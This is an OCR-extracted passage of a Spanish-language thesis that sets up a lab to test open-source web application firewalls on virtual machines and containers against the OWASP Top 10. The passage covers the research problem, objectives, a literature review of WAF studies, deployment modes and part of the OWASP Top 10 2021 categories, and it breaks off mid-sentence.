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RESUMEN

En el presente proyecto se implementa un laboratorio de pruebas para soluciones WAF
open source que operen sobre escenarios de maquinas virtuales y contenedores,
utilizando el hipervisor VirtualBox. La finalidad de esta implementacion es evaluar la
eficacia frente a las vulnerabilidades reportadas por OWASP Top 10. Para el efecto, en
el capitulo | se detalla la problematica que motivo el desarrollo de la investigacion,
mientras que el capitulo 11 presenta el estado del arte en lo referente a la tematica de los
WAFs. En el capitulo 11l se describe el marco metodoldgico, que incluye una
caracterizacion de las soluciones WAF open source que operan en ambientes de
maquinas virtuales y contenedores, seguido de la implementacion del laboratorio y la
ejecucion de pruebas para evaluar la eficacia de dichas soluciones. Los resultados
obtenidos se presentan en el capitulo 1V, respaldados por un analisis estadistico que
incluye pruebas de Levene, t-estandar y t-Welch. Finalmente, en el capitulo V se
presentan las conclusiones derivadas del presente proyecto, asi como también
recomendaciones y posibles lineas de investigacion para trabajos futuros en la tematica

estudiada.
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ABSTRACT

In the present project, a testing laboratory is implemented for open-source WAF
solutions that operate on virtual machine and container scenarios, using the VirtualBox
hypervisor. The purpose of this implementation is to evaluate effectiveness against
vulnerabilities reported by OWASP Top 10. Chapter | details the problem that
motivated the research, while Chapter Il presents the state of the art regarding WAFs.
Chapter 111 describes the methodological framework, including a characterization of
open-source WAF solutions operating in virtual machine and container environments,
followed by the implementation of the laboratory and the execution of tests to evaluate
the effectiveness of these solutions. The results obtained are presented in Chapter 1V,
supported by a statistical analysis including Levene tests, standard t-tests, and Welch's t-
tests. Finally, Chapter V presents the conclusions derived from this project, as well as

recommendations and possible lines of research for future work in the studied topic.
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CAPITULO |
EL PROBLEMA

1.1 Problema de investigacion

Ahora mismo, el desarrollo tecnoldgico, y el desarrollo web especificamente, ha
tenido un importante crecimiento debido a la realidad en la que nos hemos visto
envueltos como personas a partir del afio 2020. La nueva forma de vida obligd a las
organizaciones, instituciones, empresas, microempresas, emprendedores, etc., a
desarrollar plataformas web, que, de forma paralela a las redes sociales, aporten la
informacién que los potenciales usuarios o consumidores requieran. Este crecimiento

conlleva también retos tecnologicos en el area de Seguridad Informatica.

Los servicios de alojamiento web estdn expuestos a varios vectores de ataques que
hacen de ellos uno de los sistemas méas vulnerables dentro de la infraestructura de red de
una organizacion, esto debido a que un servidor web esta en constante interaccion con
un cliente web a través de peticiones HTTP o HTTPS para la obtencion de informacion,
introduccién de informacién via formularios, login para servicios que lo requieran,
carga de archivos; dependiendo de las configuraciones que se realicen para satisfacer las

necesidades tecnoldgicas de la organizacion.

Los vectores de ataques ejecutados por hackers explotan una vulnerabilidad con el
objetivo de robar informacion confidencial, dafar datos almacenados o comprometer el

sistema negando su disponibilidad (DoS o DDoS).

Segun la edicion 2021 del reporte “Web Vulnerability Report”, publicado por Acunetix
con una periodicidad similar a la del Proyecto Abierto de Seguridad en Aplicaciones
Web - OWASP, las vulnerabilidades criticas y medias en aplicaciones web tienen un
crecimiento respecto a afios pasados, tal como se puede evidenciar en la Figura 1.1y la

Figura 1.2.

La mayor parte de los servidores web puestos en produccion a nivel mundial pueden
presentar algun error de disefio o implementacion que ocasiona una vulnerabilidad, que
por mas pequefia que sea puede generar una puerta para ataques internos o externos a la
infraestructura tecnoldgica de la organizacion. Errores de configuracion, de acceso a

directorios, de gestion de permisos, de gestion de credenciales para acceso de



administrador, pueden ocasionar una violacion a los principios de confidencialidad,

integridad y disponibilidad sobre los que se basa la Seguridad Informatica.

Figura 1.1
Vulnerabilidades criticas en aplicaciones web durante 2019 y 2020
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Nota: Recuperado de “Web Vulnerability Report”, (Acunetix, 2021).

Figura 1.2.
Vulnerabilidades medias en aplicaciones web durante 2019 y 2020
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Nota: Recuperado de “Web Vulnerability Report”, (Acunetix, 2021).



Esta claro entonces el beneficio que representaria tener en la infraestructura de red un
elemento de proteccion a nivel de aplicacion web, pudiendo ser fisico o como un
complemento del servidor, que haga la diferencia entre una aplicacion segura y una que
esté altamente expuesta a ataques que comprometan la seguridad de la informacion.
Conscientes de esto, a nivel de gerencia de TI, Gnicamente se tiene el inconveniente de
los montos de inversion, soporte y licenciamiento de una solucibn WAF (Web
Application Firewall) comercial que tiene que estar en constante actualizacién, en
cuanto a configuracion de politicas se refiere, dependiendo de las actualizaciones en las

funcionalidades de la aplicacion web.

En la Figura 1.3 se presenta el diagrama de arbol para la problematica descrita en los

parrafos precedentes.

Figura 1.3.

Diagrama de arbol para la problematica de vulnerabilidades en aplicaciones web
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Nota: Figura elaborada por el autor, (Reyes, 2024).
1.2 Interrogantes de la investigacion

¢Las soluciones WAF open source pueden implementarse en ambientes de

maquinas virtuales y contenedores (Docker)?



¢Qué tan eficaz es una solucion WAF open source implementada en un ambiente de
virtualizacion frente a vectores de ataque para las vulnerabilidades web reportadas en el
framework OWASP Top 10?

1.3 Objetivos de la investigacion

Identificar distribuciones open source que permitan la explotacion de vulnerabilidades

web.

Analizar los modos de operacion de un WAF que permiten el filtrado del tréfico

malicioso hacia un servidor web.

Determinar la eficacia de una solucion WAF open source frente a las vulnerabilidades

reportadas en el framework OWASP Top 10.

1.3.1 Objetivo general

Implementar un laboratorio de prueba de una solucibn WAF open source sobre
escenarios de maquinas virtuales y contenedores para comparar su eficacia frente a las

vulnerabilidades reportadas por OWASP Top 10.

1.3.2 Objetivos especificos

Caracterizar soluciones WAF open source que operen sobre escenarios de maguinas

virtuales y contenedores.

Desarrollar un laboratorio de pruebas para soluciones WAF open source en escenarios

de maquinas virtuales y contenedores.

Analizar la eficacia de la solucion WAF open source en escenarios de maquinas
virtuales y contenedores ante diferentes vectores de ataque considerando las
vulnerabilidades web reportadas por OWASP Top 10.

1.4 Justificacion

Un factor clave que influyé en la seguridad de las aplicaciones web fue el inicio de la
pandemia de COVID-19. Este evento afecto la seguridad de las aplicaciones web ya que
se incrementaron las implementaciones de servidores para atender la demanda de

informacidn y servicios, que, debido al nuevo estilo de vida, los usuarios requerian.



En la mayoria de las organizaciones, instituciones, empresas, microempresas, etc., se
tuvo que redirigir los recursos de TI, tecnologicos y humanos, para atender las
demandas de seguridad que la modalidad de teletrabajo introdujo, priorizando la
seguridad de extremo a extremo y reduciendo significativamente el presupuesto para

implementaciones de seguridad en otras areas como la de aplicativos webs.

Como resultado de estas dos tendencias, por un lado, el crecimiento en el desarrollo
web, y por otro, la falta de recursos de T1 en lo referente a la seguridad, han dado paso a
la aparicién de nuevos actores maliciosos y a la potencializacion de exploits que

explotan vulnerabilidades en servidores web puestos en produccion.

El interés primordial del presente proyecto es el de contribuir con el desarrollo de la
Seguridad Informatica en el pais, aportando con un escenario de pruebas donde se
analice la eficacia de una solucion WAF utilizando plataformas open source, que a
futuro se puedan implementar en aquellas organizaciones que tengan un limitado
presupuesto para esta finalidad. Adicionalmente, este proyecto estd alineado con el
“PLAN DE CREACION DE OPORTUNIDADES 2021-2025” en los ejes Sociales y de
Seguridad Integral — Objetivo 7 Potenciar las capacidades de la ciudadania y promover
una educacion innovadora, inclusiva y de calidad en todos los niveles. - Objetivo 9

Garantizar la seguridad ciudadana, orden publico y gestion de riesgos.

El proyecto se convertira en una guia para la instalacion y configuracion de una
solucion WAF basada en open source, dirigida principalmente a los profesionales del
area de TI que tienen a su cargo la responsabilidad de la seguridad en la infraestructura

tecnoldgica.

De forma indirecta se beneficiaria todo usuario, nacional o extranjero, que utilice un
servicio web con proteccion de una solucion WAF, que ayude a mitigar actividad
maliciosa que pretenda atentar contra la confidencialidad, integridad y disponibilidad de

su informacion.

Finalmente, la investigacion propuesta contribuye a la linea de investigacion
“Desarrollo, aplicacion de software y cyber security (seguridad cibernética)” de la

Universidad Técnica del Norte.



CAPITULO 11
MARCO REFERENCIAL

2.1 Antecedentes

El incremento de aplicaciones online y la versatilidad en los servicios que éstas
ofrecen han hecho que cada vez méas usuarios accedan a estos servicios con fines
personales o de negocio con la expectativa de que los entornos desarrollados ofrezcan
ambientes seguros para sus transacciones. Sin embargo, los ultimos afios han sido
aquellos con mas eventualidades desde el punto de vista de amenazas de seguridad,
principalmente por el hecho de que el crecimiento economico esta ligado al avance

tecnoldgico.

Esto ha implicado que la violacion de datos sea ampliamente discutida en los
diferentes medios y que la ciberseguridad ya no sea un asunto meramente tecnolégico,
sino gque se ha considerado ya como un riesgo de negocio. En este sentido, aplicaciones
basadas en comercio electrénico, 1A, cloud computing, machine learning, redes
sociales, entre otras, indudablemente han incrementado el riesgo cibernético tanto para

usuarios como para empresas (Cisco, 2020).

El incremento de popularidad y complejidad de las aplicaciones y sitios web en todos
los aspectos ha hecho que la mayoria de los ataques se produzcan en la capa aplicacién
del modelo OSI (Capa 7), la cual se muestra consecuentemente hoy en dia como aquella
de mayor susceptibilidad (Patka & Zachara, 2011), causando pérdidas financieras e
interrupciones de servicio (Prandl y otros, 2015). Es asi que, la deteccion especifica de
ataques web ha sido movida a la capa aplicacién (Torrano-Gimenez y otros, 2009). Esto
no indica que niveles mas bajos sean mas seguros, solo que, en el transcurso de los
afios, los protocolos de red han sido reforzados haciéndolos mas robustos frente a
ataques. Asi mismo, la diversidad de proveedores a nivel de aplicacion da como
resultado un bajo promedio en la seguridad y muchas limitaciones al momento de
identificar vulnerabilidades (Patka & Zachara, 2011).

Una solucién universal especifica para el manejo de eventos de seguridad son los
WAFs (Web Application Firewalls). En 2015, Prandl y otros, los presentan como
mecanismos de proteccién primaria de front-end para infraestructuras basadas en

Internet, las cuales estan constantemente bajo ataques. Los WAFs monitorean y filtran
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todo el trafico HTTP desde las aplicaciones web y hacia ellas (Chen y otros, 2022). Las
condiciones de trabajo de los WAFs estan ligadas al ajuste constante de reglas en
funcién de la aparicion, desarrollo y crecimiento de las aplicaciones o sitios web
(Patka & Zachara, 2011). Esto se debe a que lamentablemente en la capa aplicacion no
existen protocolos ni estdndares que aseguren la proteccion de vulnerabilidades

(Razzaq y otros, 2013).

Un enfoque de configuracion de WAFs determina el tipo de deteccion de
comportamientos maliciosos que pueden comprometer la seguridad de un sistema. Estos
eventos han sido tradicionalmente clasificados por un IDS (Intrusion Detection System)
como de enfoque negativo y de enfoque positivo (Torrano-Gimenez y otros, 2009). Esta
clasificacion también es reportada como los tipos de modelos de seguridad basados en
el tipo de politica (Clincy & Shahriar, 2018). Los primeros son sistemas de deteccion
que funcionan con base a la comparacion de estructuras o patrones previamente
determinados, las cuales, por lo general, deben ser actualizadas frecuentemente;
mientras los segundos son sistemas de deteccion de anomalias cuyo funcionamiento se
basa en la definicion de un “buen comportamiento”. Esto supera las dificultades propias
del método negativo el cual requiere un gran esfuerzo computacional al realizar la
comparacion de patrones. Por otro lado, la determinacion del asi Ilamado buen
comportamiento refleja una desventaja en ambientes complejos. Ademas, los resultados
del método con enfoque negativo dependen de la configuraciéon para cada aplicacion
web y no pueden ser comparadas con aquellos del método con enfoque positivo

(Torrano-Gimenez y otros, 2009).

En 2009 una arquitectura de deteccion con enfoque positivo es presentada por
Torrano-Gimenez y otros, en la cual el sistema de deteccidn de ataques opera como un
proxy entre el cliente y el servidor web. El sistema recolecta solicitudes HTTP, las
analiza y emite un indicador de comportamiento normal o anémalo. El proxy, en este
sistema, puede trabajar en dos modos de operacion: como IDS o como firewall. En el
modo de deteccion, el proxy emite una alerta si encuentra un patron sospechoso o
permanece inactivo si el patron lo considera confiable. En cualquiera de los casos, las
solicitudes alcanzan el servidor sin limitar la funcionalidad del sistema para el caso de

falsos positivos, pero produciendo, si es el caso, un ataque efectivo si la solicitud es



maliciosa. En el modo firewall, Gnicamente las peticiones validas son enrutadas al

servidor.

Para la determinacion del, asi llamado, comportamiento normal, Torrano-Gimenez y
otros, describen las reglas de comparacion contenidas en un archivo XML con un
conjunto de propiedades especificas (tales como, longitud de cadenas, caracteres
especiales, entre otros) para la determinacion de la normalidad de una solicitud. Se
enfatiza que la construccién adecuada del archivo XML es crucial para un buen proceso
de deteccion. En la experimentacion realizada, se realiza una fase de entrenamiento para
el aprendizaje del sistema de deteccion que conlleva al perfeccionamiento del WAF con
resultados satisfactorios relacionados a la tasa de deteccion cercana al 100%, con una
tasa de falsos positivos que decrece rapidamente y es cercana a cero (0) a partir de los
1000 ataques.

Si bien los resultados son consistentes, una de las limitantes en el trabajo presentado
por Torrano-Gimenez y otros, es la configuracién del archivo XML e indirectamente, el

dinamismo que el sistema debe tener ante el desarrollo de aplicaciones y sitios web.

En términos de versatilidad de aquellas soluciones con enfoque positivo, se ha visto la
necesidad de que los WAFs desarrollen autoaprendizaje con el fin de sobrellevar la
complejidad que presenta la configuracion de éstos. Es asi que se han reportado
métodos adaptativos para el proceso de autoaprendizaje de los WAFs para detectar y
eliminar comportamientos maliciosos de usuarios. Patka & Zachara, en 2011, establecen
dos métodos que comparan campos de una solicitud HTTP tipica y determinan el
aprendizaje del WAF por medio de comportamientos comunes del usuario. Asi mismo,
reportan posibles complicaciones relacionadas con el almacenamiento de datos,

patrones de aprendizaje, significancia de la informacion recolectada e implementacion.

Otro estudio ligado al autoaprendizaje de los WAFs se presenta por Betarte y otros, en
2018, el cual investiga la aplicacion de técnicas de machine learning para aprovechar
los WAFs. La propuesta detalla modelos complementarios de machine learning basados
One-Class Classifications y analisis n-gram para mejorar las capacidades de deteccion y

precision de los WAFs.

En el mismo contexto de autoaprendizaje con machine learning, Harish Kumar &

Godwin Ponsam, en 2023, describen un modelo de WAF basado en deteccién andomala
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(enfoque positivo) utilizando metodos de procesamiento de lenguaje natural y varios
algoritmos de machine learning. Detallan cémo la integracion de machine learning en
WAFs puede mejorar la deteccion de trafico malicioso y reducir los falsos positivos y
negativos haciéndolos més precisos en la toma de decisiones. Se detallan algunas
técnicas que pueden ser aplicadas para mejorar la seguridad de las aplicaciones web,
entre ellas, deteccion anomala, analisis de comportamiento, deteccion de cddigo
malicioso, modelamiento predictivo, autenticacion de usuarios y control de acceso. A
manera de conclusion, Harish Kumar & Godwin Ponsam aseveran que los WAFs son la
primera linea de defensa, filtrado y observacion del trafico entrante y que, combinado
con técnicas de machine learning, resultan una propuesta robusta para la proteccion de

aplicaciones web ante diversos ataques.

Por otro lado, se han reportado algunos trabajos que describen el enfoque de deteccion
negativa. Yuan y otros, en 2019, remarcan que el enfoque de deteccion negativa
presenta inconvenientes en tanto que la comparacion con patrones predeterminados
puede ser evadida por los ataques web utilizando una variedad de métodos de
codificacion y diferentes grupos de caracteres (ASCIIl, GB2312, BIG5, Unicode, entre

otros) para codificar el ataque.

Yuan y otros, en 2019, abordan esta problematica presentando una tecnologia de
recuperacion de bloques para acoplar caracteristicas de tal manera que el sistema
previene efectivamente ataques maliciosos en la capa de aplicacién web convencional.
El sistema presentado es modular, compuesto por los siguientes mddulos: analisis de
paquetes, coincidencias de caracteristicas, auditoria de registros y base de datos de
firmas de ataques. Un paquete HTTP/HTTPS es en primer lugar analizado por el
maodulo de andlisis de paquetes quien obtiene los campos a ser detectados y los remite al
modulo de coincidencias de caracteristicas. Este Gltimo utiliza las reglas de base de
datos de firmas de ataques para comparar las caracteristicas extraidas del protocolo
HTTP y procesa una accion de respuesta. El médulo de coincidencias de caracteristicas
es el centro estratégico en el sistema presentado. Una vez que se procesa la accion de
respuesta, la base de datos es actualizada y con esto el WAF implementado se describe

como un mecanismo enfocado de defensa completa.

El sistema presentado por Yuan y otros, en 2019, fue probado y los resultados
experimentales mostraron que el WAF efectivamente puede defender algunos ataques



del tipo SQL Injection, ataques de cracking, web shell detection, ataques XSS, entre

otros.

Con respecto a las soluciones WAF, se ha realizado un estudio comparativo de
diferentes proveedores cuyo analisis resalta las limitaciones de éstos y concluye con la
importancia de las caracteristicas que deben tomarse en cuenta en la implementacion de
estas soluciones. El andlisis comparativo se enfocO en proveedores tales como
ModSecurity, Imperva’s Secure Sphere, Barracuda Network Application Gateway,
Breach Security’s Web Defend, F5-Big IP, Web Spiner, I-Sentry, Secure IIS, Web
Defend, Anchiva, Profense, Citrix, WebApp Secure y Server Defender Al
(Razzaq y otros, 2013). Asi mismo, Ghanbari y otros, en 2016, reportaron un enfoque
comparativo entre un IPS/IDS con un WAF desde dos puntos de vista: seguridad y
despliegue de flexibilidad. Las conclusiones desprendidas de este estudio, como se
esperaba, nuevamente apuntan a la necesidad de una adecuada configuraciéon de los

WAFs para el éxito de su implementacion.

Tres WAFs de codigo abierto: ModSecurity, WebKnight y Guardian, fueron
estudiados por Prandl y otros, en 2015, para investigar su funcionalidad. En el reporte
del estudio se prioriza medir el desempefio de los WAFs utilizando un amplio rango de
frameworks de prueba y codigos especialmente construidos para generar trafico
desafiante para los WAFs. La efectividad de los WAFs fue determinada al construir un
set de patrones de prueba que cubrieron extensamente los diferentes tipos de ataques
genéricos (como XSS, SQL Injection, asi como otros utilizados en estudios previos).
Para el desarrollo de las pruebas se utiliz6 una red miniatura de maquinas virtuales con
los WAFs configurados en su modo por defecto. Como resultado global se menciona
que el mejor desempefio de los tres WAFs presentd ModSecurity, tal como se puede
apreciar en la Tabla 2.1, con una alta dependencia en el tipo de aplicacion a ser
protegida. Asi también se afirmé que ninguno de los WAFs tiene un desempefio ideal

completamente confiable.

La primera version del WAF open source ModSecurity fue lanzada en noviembre de
2002 (Applebaum y otros, 2021). El conjunto de reglas CRS (Core Rule Set) de
OWASP en ModSecurity ha sido utilizado en diferentes investigaciones para demostrar
su confiabilidad como WAF. En 2018, Robinson y otros, reportan una implementacion
efectiva de OWASP ModSecurity como WAF para ataques tipo SQL Injection, con una
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tasa de deteccion del 100% después de 15 pruebas de ataques utilizando 3 sistemas
operativos diferentes. En tanto que para ataques del tipo Cross-Site Scripting Stored, la
implementacién fallé produciendo el ataque efectivo. Para ataques del tipo explotacion
con herramientas SQLmap y XSSer la implementacion fue 100% satisfactoria. Asi
mismo, en 2020, Mukhtar & Azer, presentaron una evaluacion similar de ModSecurity
contra ataques tipo SQL Injection en la cual, para la experimentacion practica se utilizo
ModSecurity 2.9.2 CRS 3.

Tabla 2.1
Rendimiento de los Firewalls de Aplicaciones Web de codigo abierto frente a ataques

del framework Imperva.

Pruebas de ataques

ModSecurity WebKnight Guardian@Jumperz
Imperva
Total de pruebas XSS 22 22 22
XSS eludidas 0 0 22
XSS blogueadas 22 22 0
Total de pruebas SQLI 19 19 19
SQL.i eludidas 0 0 19
SQLi bloqueadas 19 19 0
Total de pruebas RFI/LFI 19 19 19
RFI/LFI eludidas 0 0 19
RFI/LFI bloqueadas 19 19 0

Nota: Tabla recuperada de Prandl y otros, 2015.

Un anélisis de ataques que evaden ModSecurity con CRS version 3 es presentado en el
trabajo de Singh y otros, en 2018. Los vectores de ataque estan enfocados en el Top 10
de OWASP y fueron probados con diferentes tipos de configuracion del nivel de
paranoia en ModSecurity, del 1 al 4. La parte experimental del analisis describe la
utilizacion de 3 maquinas virtuales determinadas como atacante (OWASP ZAP Zed
Attack Proxy y Burp Suite), firewall (ModSecurity CRS 3 ejecutado como proxy
inverso) y servidor (Multillidae). Los resultados fueron agrupados en diferentes niveles
de paranoia indicando si el ataque fue efectivo o no. Se observo que en el nivel de
paranoia por defecto (nivel 1), los ataques que pudieron evadir el WAF fueron altos y
que a medida que se incrementa el nivel de paranoia, la efectividad del WAF fue

incrementado también. En el nivel 4 la mayoria de los ataques fueron bloqueados.

La implementacion de un WAF utilizando ModSecurity y el método de proxy inverso

es reportado en el trabajo de Muzaki y otros, en 2020. Luego de un detalle breve de la
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base tedrica referente a seguridad en aplicaciones web, WAF, ModSecurity y el método
de proxy inverso, se detalla la metodologia experimental utilizada en la investigacion.
Se tomaron en cuenta dos condiciones para las pruebas de tres tipos de ataques (XSS,
SQL Injection y Unauthorized Vulnerability Web Scanning) contra aplicaciones web:
sin la aplicacién de ModSecurity ni proxy inverso y con la aplicacion de los dos. Con
base en los resultados obtenidos y el analisis realizado se concluyé que la
implementacion de un WAF y el método de proxy inverso bloquea satisfactoriamente
las amenazas evaluadas. La investigacion sugiere proveer una interfaz de registro de
ataques, asi como un sistema de alertas para que de esta manera un administrador pueda

ser notificado ante intentos de ataques.

En el continuo avance tecnoldgico se ha visto la necesidad de estudiar de manera
experimental la eficiencia y efectividad de las nuevas versiones de ModSecurity, asi
como del conjunto de reglas CRS de OWASP. En 2020, Sobola y otros, presentaron una
evaluacion experimental de la efectividad del Core Rule Set version 3.2 en ModSecurity
en la configuracion por defecto. El estudio esta enfocado en tres objetivos, la evaluacion
del rendimiento de los servidores web en términos de throughput, transaction rates y
concurrency. Al finalizar, se determinaron las razones que limitan a ModSecurity con
CRS versidn 3.2 para la deteccion de algunos ataques, se presentan recomendaciones de
mejora, y se concluye que ModSecurity con CRS version 3.2 todavia tiene falencias que
son aprovechadas por determinados ataques para evadir el WAF. La principal
contribucion que hacen Sobola y otros, en 2020, esta orientada al entendimiento de la
efectividad de ModSecurity con CRS version 3.2 en términos de capacidad y

desempefio ante ataques web.

Una propuesta atractiva que inspecciona y propone mejoras en la usabilidad en si de
ModSecurity es presentada en el trabajo de Alagoz y otros, en 2021. Para el efecto se
aborda la propuesta al aplicar un método hibrido de inspeccion de usabilidad que
combina técnicas de evaluacion heuristica y tutorial cognitivo. Esto propone un
mecanismo que chequea las reglas de ModSecurity y ofrece un procedimiento que
mitiga los errores de sintaxis durante el proceso de ingreso de las reglas. Como
resultado de la propuesta se identifica que una mejora en la usabilidad de ModSecurity

radica principalmente en el soporte de una interfaz grafica de usuario (GUI).
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Los trabajos mencionados dentro del presente antecedente han sido presentados,
implementados y verificados como laboratorios con maquinas virtuales. Un anélisis a
detalle de las topologias presentadas revela que servidores, atacantes, firewalls, proxy,
entre otros, son montados sobre maquinas virtuales, mismas que han desempefiado
algun rol dentro del laboratorio de analisis. Sin embargo, la aparicion de contenedores
(Dockers) como una alternativa a las maquinas virtuales ha sido atractiva ya que éstos
demandan baja utilizacion de recursos computacionales (Yadav y otros, 2018). En este
contexto, se han realizado diversos trabajos que comparan el desempefio de maquinas
virtuales y contenedores en términos de tiempos de servicio (Yadav y otros, 2018),
disponibilidad y escalabilidad, seguridad, versatilidad para trabajar en ambientes
heterogéneos (Abraham y otros, 2018), desempefio de CPU, rendimiento de memoria,
entrada/salida de disco, test de carga y métricas de velocidad de operacion
(Potdar y otros, 2020).

2.2 Marco teorico

2.2.1 Vulnerabilidades en aplicaciones web

Segun la norma ISO/IEC 27001, una vulnerabilidad es la debilidad de un activo o
control que puede ser explotada por una 0 mas amenazas para materializar una agresion
sobre el activo (ISO/IEC 27001, 2022).

El Proyecto Abierto de Seguridad en Aplicaciones Web - OWASP, de sus siglas en
inglés Open Web Application Security Project, define periédicamente un listado con las
principales vulnerabilidades a las que estan expuestos los servidores web, y que son
utilizadas para procesos de auditoria en infraestructuras organizacionales para evitar que
un atacante pueda hacerse con el control del sistema implementado (OWASP
Foundation, 2021b).

Las vulnerabilidades a las que estan expuestos los servidores web se clasifican segun
el impacto que el exploit pueda tener en el sistema; asi como también, la dificultad que
representa para el atacante explotar la vulnerabilidad. Teniendo en consideracion estos
puntos, la edicion 2021 del reporte “Web Vulnerability Report”, publicado por

Acunetix, clasifica las vulnerabilidades en:
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e Criticas. - Un atacante puede comprometer por completo la confidencialidad, la
integridad o la disponibilidad de un sistema sin necesidad de acceso
especializado, interaccion del usuario o circunstancias que estén fuera del
control del atacante.

e Medias. - Un atacante puede comprometer parcialmente la confidencialidad, la
integridad o la disponibilidad de un sistema de destino. Puede necesitar acceso
especializado, interaccion del usuario o circunstancias que estan fuera del
control del atacante.

e Leves. - Un atacante puede comprometer la confidencialidad, la integridad o la
disponibilidad de un sistema de destino de forma limitada. Necesita acceso
especializado, interaccion del usuario o circunstancias que estan fuera del

control del atacante.

2.2.2 Solucion WAF

Para la mitigacion de las vulnerabilidades existe una solucion a nivel de infraestructura
conocida como Web Application Firewall (WAF) cuya funcion es la de garantizar la
seguridad de un servicio web haciendo una comparacion con modelos de trafico para
detectar actividad maliciosa, analizando y filtrando las peticiones que llegan al servidor
(Oracle, 2023).

El OWASP define a un WAF como un firewall a nivel de capa siete que aplica un
conjunto de politicas de seguridad a las interacciones HTTP y HTTPS entre el cliente y
el servidor para proteger a las aplicaciones de ataques comunes como Cross-Site
Scripting (XSS) y SQL Injection (OWASP Foundation, 2022).

Entre las ventajas de una solucién WAF se tiene la mitigacién de ataques web con
vectores sofisticados, el control del flujo de datos basado en politicas de seguridad,
respuesta inmediata a ataques conocidos sin la necesidad de bloquear el trafico legitimo
dirigido hacia el servidor, ayuda al cumplimiento de normativas de seguridad y protege
la infraestructura web contra los ataques reportados en el framework OWASP Top 10
(B-SECURE, 2022).
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2.2.2.1 Modos de implementacion

El modo de implementacidn de una solucién WAF depende de la topologia de red con
la que cuente la organizacion y de las necesidades desde el punto de vista de la
seguridad para la aplicacion web. A continuacion, se presentan los modos de
implementacién mas utilizados para una solucion WAF segin Diaz & Ramirez, en
2018:

e WAF en modo bridge

En este tipo de implementacion el WAF trabaja como un equipo que interconecta dos
segmentos de red de forma transparente, es decir, las interfaces de red del equipo no
tienen direccionamiento IP, de modo que no es necesaria la alteracion de la
configuracién de direcciones IP de los servidores, no se requiere de la reconfiguracién
de registros DNS y permite proteger varios servidores web, siempre y cuando a estos se
acceda mediante el canal que protege el WAF (Diaz & Ramirez, 2018).

e WAF en modo proxy inverso

En el modo proxy inverso el WAF trabaja como un equipo que interconecta dos 0 mas
segmentos de red contando con direccionamiento IP en cada una de las interfaces.
Concentra, gestiona y analiza las peticiones y respuestas HTTP que circulan entre los
usuarios y aplicaciones web. En resumidas palabras, el WAF en modo de proxy inverso
responde las peticiones web como si fuera el servidor web mismo, por lo tanto, es de
utilidad para ocultar a los servidores web de la red exterior. Permite proteger multiples
servidores web y la implementacién requiere modificar los registros DNS para dirigir
las peticiones a la direccion IP del WAF (Diaz & Ramirez, 2018).

e WAF en modo plugin

El WAF se instala como un software de complemento o plugin en el servidor web a
proteger. Para su operacion hace uso de los recursos de hardware y software del
servidor donde se ha instalado. Su instalacion depende totalmente del tipo de servidor
web y del sistema operativo subyacente. Este modo de operacion es el mas sencillo ya

que no requiere configuraciones adicionales en la red (Diaz & Ramirez, 2018).
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2.2.3 OWASPy OWASP Top 10

2.2.3.1 OWASP (OWASP Foundation, 2021a)

El Proyecto Abierto de Seguridad en Aplicaciones Web - OWASP, de sus siglas en
inglés Open Web Application Security Project es una fundacion que se lanzé el 1 de
diciembre de 2001 y se constituyé como una organizacion benéfica sin fines de lucro en
los Estados Unidos el 21 de abril de 2004, con la vision de no tener mas software
inseguro y la mision de convertirse en la comunidad global y abierta que impulsa el
desarrollo del software seguro a través de la educacion, herramientas y colaboracién. En
resumen, OWASP es una comunidad que trabaja para mejorar la seguridad del software
apoyando a que las organizaciones conciban, desarrollen, operen y mantengan
aplicaciones en las que se puede confiar.

Los valores fundamentales de OWASP son:

e Abierto: Todo es transparente, desde la parte financiera hasta el codigo.

¢ Innovador: Fomenta y apoya la innovacion y la experimentacion para encontrar
soluciones a los desafios de seguridad.

e Global: Incentiva la participacion de cualquier persona en la comunidad de
OWASP.

e Integridad: La comunidad de OWASP es respetuosa, solidaria, y neutral en

cuanto a los proveedores.
2.2.3.2 OWASP Top 10 (OWASP Foundation, 2021b)

Es uno de los proyectos de OWASP que, con una periodicidad de 4 afios, presenta un
informe donde se enumera y detalla las diez principales vulnerabilidades de seguridad
de las aplicaciones web. En la dltima version, lanzada en 2021, se introdujeron tres

nuevas categorias respecto a la version anterior de 2017.

En la Figura 2.1 se muestra una comparativa de las versiones de OWASP Top 10
correspondientes a los afios 2017 y 2021, donde se destacan los cambios mas

significativos en las vulnerabilidades de seguridad de aplicaciones web.
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Figura 2.1

Comparativa de las versiones de OWASP Top 10 correspondientes a los afios 2017 y

2021
2017 2021

A01:2021-Pérdida de Control de Acceso

A02:2021-Fallas Criptograficas
A03:2017-Sensitive Data Exposure A03:2021-Inyeccién
AD4:2017-XML External Entities (XXE) A04:2021-Disefio Inseguro
A05:2017-Broken Access Control A05:2021-Configuracién de Seguridad Incorrecta
A06:2017-Security Misconfiguration A06:2021-Componentes Vulnerables y Desactualizados
AD7:2017-Cross-Site Scripting (XSS) A07:2021-Fallas de Identificacién y Autenticacién
A08:2017-Insecure Deserialization A08:2021-Fallas en el Software y en la Integridad de los Datos
A09:2017-Using Components with Known Vulnerabilities A09:2021-Fallas en el Registro y Monitoreo*
A10:2017-Insufficient Logging & Monitoring A10:2021-Falsificacién de Solicitudes del Lado del Servidor (SSRF)*

* A partir de la encuesta

Nota: Recuperado de “Bienvenido al OWASP Top 10 - 2021”, (OWASP Foundation,

2021b).

Para el afio 2021, las categorias de OWASP Top 10 son:

A01:2021 - Pérdida de control de acceso. El control de acceso busca
implementar politicas para que los usuarios no puedan ejecutar acciones fuera
de los permisos asignados en la aplicacion. Las fallas conllevan a divulgacion
de informacion, destruccion de datos, entre otras. Las vulnerabilidades
comunes de control de acceso incluyen la elucién de comprobaciones
modificando pardmetros en la URL, permitir ver o editar el perfil de una
tercera persona, elevacion de privilegios manipulando tokens o cookies, entre
otras. Esta categoria subié desde la quinta posicion respecto al reporte del afio
2017 y tiene asociados 34 CWEs - Common Weakness Enumerations.
A02:2021 - Fallas criptograficas. La criptografia busca proteger datos como
contrasefias, nimeros de tarjetas de crédito, registros médicos, informacion
personal, en transito o en reposo. Las vulnerabilidades comunes respecto a las
fallas criptogréficas incluyen la transmision de datos en texto plano, se utilizan
algoritmos de cifrado antiguos o débiles, se utilizan claves criptograficas
predeterminadas, el certificado del servidor no es debidamente validado, entre
otras. Esta categoria fue renombrada y subié desde la tercera posicion con 29
CWEs asociados.

A03:2021 - Inyeccion. Las aplicaciones son vulnerables a inyeccion cuando
los datos proporcionados por el usuario no son validados, filtrados y

sanitizados. Algunas de las inyecciones mas comunes son: SQL, NoSQL,
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comandos del sistema operativo y expresiones regulares para basquedas. El
